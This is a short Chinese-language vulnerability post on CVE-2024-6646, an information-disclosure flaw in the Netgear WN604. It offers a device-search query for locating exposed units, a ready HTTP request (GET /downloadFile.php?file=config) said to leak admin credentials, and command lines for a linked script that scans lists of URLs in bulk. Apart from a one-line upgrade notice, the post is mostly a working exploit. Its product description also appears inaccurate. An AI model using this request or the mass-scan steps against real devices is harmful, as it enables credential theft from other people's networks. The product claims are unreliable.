NetgearWN604 CVE-2024-6646 信息泄露漏洞【附poc】

title=="Netgear"

资产页面

一、漏洞简述

NETGEAR WN604是一款功能强大的双频AC1200无线路由器,非常适合中大型家庭和企业使用。它支持最新的802.11ac无线标准,能提供高达1200Mbps的无线传输速度。路由器具备千兆有线网口和3个100Mbps有线网口,可满足有线和无线设备的接入需求。此外,它还内置了QoS、访问控制、加密等高级安全和管理功能,可以确保网络的稳定性和安全性。凭借NETGEAR Genie app,用户还可以方便地远程管理和监控路由器。其存在CVE-2024-6646信息泄露漏洞，攻击者可通过该漏洞获取系统敏感信息，如管理员账密。

二、漏洞检测poc

GET /downloadFile.php?file=config HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Connection: close

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：

https://github.com/ATonysan/poc-exp/blob/main/NetgearWN604_CVE-2024-6646_InfoLeak.py

批量检测:

python NetgearWN604_CVE-2024-6646_InfoLeak.py -f url.txt

单个url检测漏洞:

python NetgearWN604_CVE-2024-6646_InfoLeak.py -u url

四、修复

官方已更新补丁，请升级至最新版本。

官网地址：https://www.netgear.com/cn/